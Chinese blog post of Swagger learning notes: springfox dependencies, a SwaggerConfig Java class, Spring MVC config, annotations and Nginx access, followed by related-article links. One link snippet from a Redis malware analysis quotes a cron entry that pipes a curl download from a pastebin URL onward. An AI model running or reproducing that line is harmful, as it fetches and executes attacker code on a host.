狂神声明 : 文章均为自己的学习笔记 , 转载一定注明出处 ; 编辑不易 , 防君子不防小人~共勉 !

Swagger学习笔记

课程目标

  • 了解Swagger的概念及作用
  • 掌握在项目中集成Swagger自动生成API文档

Swagger简介

前后端分离  (前后端相对独立且松耦合)

  • 前端-->前端控制层 , 视图层
  • 前端和后端利用API接口进行相应协作(数据可能是json也可能是xml等等的...)
  • 后端-->后端控制层 , 服务层 , 数据访问层

问题 ?

  • 前后端集成------CI/CD

    • 前端或后端无法做到 "及时协商 , 尽早解决" 最终导致问题集中爆发 .

解决方案

  • 首先定义schema , 并实时跟踪最新的API , 降低集成风险 .

Swagger

  • Restful API文档在线自动生成器-->API文档与API定义同步更新
  • 直接运行 , 在线测试API
  • 支持多种语言 (如 : java , php 等等)
  • 官网 : https://swagger.io/

Spring集成Swagger -->springfox

  • springfox-swagger2
  • swagger-springmvc

项目中集成Swagger

项目环境 : JDK1.8 , Spring4.1.7 , Mybatis3.2.2

Spring MVC 集成springfox-swagger2构建Restful API

  • Maven依赖

    • springfox-swagger2
    • springfox-swagger-ui
    • guava
    • mapstruct-jdk8
    • jackson
      • jackson-core
      • jackson-databind
      • jackson-annotations

集成配置步骤

  1. 在pom.xml文件中添加Swagger2相关的依赖
  2. Swagger2配置类 : SwaggerConfig . java (官网下载)
    • @ComponentScan : 设置Swagger 扫描包
    • @EnableSwagger2 : 使Swagger2生效
    • @Configuration : 自动在本类上下文加载一些环境变量信息
      package dcc.core;
      
      import org.springframework.context.annotation.Bean;
      import org.springframework.context.annotation.Configuration;
      import org.springframework.web.servlet.config.annotation.EnableWebMvc;
      
      import springfox.documentation.builders.ApiInfoBuilder;
      import springfox.documentation.builders.RequestHandlerSelectors;
      import springfox.documentation.service.ApiInfo;
      import springfox.documentation.spi.DocumentationType;
      import springfox.documentation.spring.web.plugins.Docket;
      import springfox.documentation.swagger2.annotations.EnableSwagger2;
      
      @Configuration //声明该类为配置类
      @EnableSwagger2 //声明启动Swagger2
      @EnableWebMvc //声明启动mvc
      public class SwaggerConfig{
          @Bean
          public Docket customDocket() {
              return new Docket(DocumentationType.SWAGGER_2)
                      .apiInfo(apiInfo())
                      .select()
                      .apis(RequestHandlerSelectors.basePackage("dcc"))//扫描的包路径
                      .build();
          }
      
          private ApiInfo apiInfo() {
              return new ApiInfoBuilder()
                      .title("DCC API接口")//文档说明
                      .version("1.0.0")//文档版本说明
                      .build();
          }
      }
  3. Spring MVC配置文件
    <!-- 激活@controller模式 -->
    <mvc:annotation-driven />
    
    <!-- 开启静态文件 默认拦截器 -->
    <mvc:default-servlet-handler/>
    
    添加指定扫描 : < context:component-scan />

具体运用

API加入Swagger

  • 通过在API上添加注解实现 , API文档的同步效果
  • @Api --> ( 表名可供Swagger展示的接口类 : 用在类上面 )
  • @ApiOperation --> ( 描述API方法 : 用在方法上面 )
  • @ApiParam --> ( 单个参数描述 )
  • @ApiModel --> ( 用对象接收参数 : 用在类上面 )
  • @ApiModelProperty --> ( 用对象接收参数时 , 描述对象的一个字段 ; 用在属性上面 )

Nginx配置

  • 访问Swagger界面

    • http://IP:port /{context-path}/swagger-ui.html
  • 问题
    • 生成环境下 , 只开放80端口 , 通过Tomcat无法访问Swagger
  • 解决方案
    • 通过 Nginx 进行Swagger 的访问 (nginx.conf)

      • 注释掉 server节点下的 root . 即前端静态工程
      • 注释掉 location 这个节点
    • http://IP/{context-path}/swagger-ui.html

Swagger学习笔记的更多相关文章

  1. webapi swagger学习笔记

    版权声明:部分摘抄其他博主朋友的博文内容,旨在分享学习,如给您带来不便,请原谅.原文地址 http://www.cnblogs.com/yanweidie/p/5709113.html#_label3 ...

  2. golang学习笔记7 使用beego swagger 实现API自动化文档

    golang学习笔记7 使用beego swagger 实现API自动化文档 API 自动化文档 - beego: 简约 & 强大并存的 Go 应用框架https://beego.me/doc ...

  3. ASP.NET Core 2 学习笔记(十三)Swagger

    Swagger也算是行之有年的API文件生成器,只要在API上使用C#的<summary />文件注解标签,就可以产生精美的线上文件,并且对RESTful API有良好的支持.不仅支持生成 ...

  4. SpringBoot学习笔记:Swagger实现文档管理

    SpringBoot学习笔记:Swagger实现文档管理 Swagger Swagger是一个规范且完整的框架,用于生成.描述.调用和可视化RESTful风格的Web服务.Swagger的目标是对RE ...

  5. golang学习笔记5 用bee工具创建项目 bee工具简介

    golang学习笔记5 用bee工具创建项目 bee工具简介 Bee 工具的使用 - beego: 简约 & 强大并存的 Go 应用框架https://beego.me/docs/instal ...

  6. Angularjs2 学习笔记

    angularjs2 学习笔记(一) 开发环境搭建   开发环境,vs2013 update 5,win7 x64,目前最新angular2版本为beta 17 第一步:安装node.js 安装nod ...

  7. 从零开始搭建.NET Core 2.0 API(学习笔记一)

    从零开始搭建.NET Core 2.0 API(学习笔记一) 一. VS 2017 新建一个项目 选择ASP.NET Core Web应用程序,再选择Web API,选择ASP.NET Core 2. ...

  8. kratos微服务框架学习笔记一(kratos-demo)

    目录 kratos微服务框架学习笔记一(kratos-demo) kratos本体 demo kratos微服务框架学习笔记一(kratos-demo) 今年大部分时间飘过去了,没怎么更博和githu ...

  9. 【转载】Java学习笔记

    转载:博主主页 博主的其他笔记汇总 : 学习数据结构与算法,学习笔记会持续更新: <恋上数据结构与算法> 学习Java虚拟机,学习笔记会持续更新: <Java虚拟机> 学习Ja ...

随机推荐

  1. 【转】浅谈常用的几种web攻击方式

    浅谈常用的几种web攻击方式 一.Dos攻击(Denial of Service attack) 是一种针对服务器的能够让服务器呈现静止状态的攻击方式.有时候也加服务停止攻击或拒绝服务攻击.其原理就是 ...

  2. 开源自己写的Library到github,让别人或自己的项目依赖

    对于不会git命令的自己,要上传项目或libary,看了本文,傻瓜式操作,绝壁简单! 新建一个空白工程 File-->New-->New module-->Android Libra ...

  3. 记一次redis病毒分析笔记

    起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb| ...

  4. 使用Markdown写作

    简介 Markdown是一种轻量级标记语言,创始人为约翰·格鲁伯(John Gruber).它允许人们"使用易读易写的纯文本格式编写文档,然后转换成有效的XHTML(或者HTML)文档&qu ...

  5. C# Task中的Func, Action, Async与Await的使用

    在说Asnc和Await之前,先说明一下Func和Action委托, Task任务的基础的用法 1. Func Func是一种委托,这是在3.5里面新增的,2.0里面我们使用委托是用Delegate, ...

  6. C语言 · 礼物盒

    礼物盒 分值: 20 小y 有一个宽度为 100cm,高度为 20cm,深度为 1cm 的柜子,如下图. 小y 还有 36 个礼物盒,他们的深度都为 1cm. 他们对应的宽度和高度如下,单位(cm). ...

  7. Dubbo 在maven项目中的应用

    首先我们来看一下dubbo的架构: 所以通过此图,我们看到就是服务的提供者将服务注册到注册中心,服务的消费者从注册中心获取服务,monitor监控服务的调用. 关于dubbo的使用,我们举个简单的例子 ...

  8. Mysql优化-大数据量下的分页策略

    一.前言 通常,我们分页时怎么实现呢? 1 SELECT * FROM table ORDER BY id LIMIT 1000, 10; 但是,数据量猛增以后呢? 1 SELECT * FROM t ...

  9. 6 个开源的家庭自己主动化工具 | Linux 中国

    版权声明:本文为博主原创文章,未经博主同意不得转载. https://blog.csdn.net/F8qG7f9YD02Pe/article/details/79466841 wx_fmt=jpeg& ...

  10. 可视化展示attention(seq2seq with attention in tensorflow)

    目前实现了基于tensorflow的支持的带attention的seq2seq.基于tf 1.0官网contrib路径下seq2seq 由于后续版本不再支持attention,迁移到melt并做了进一 ...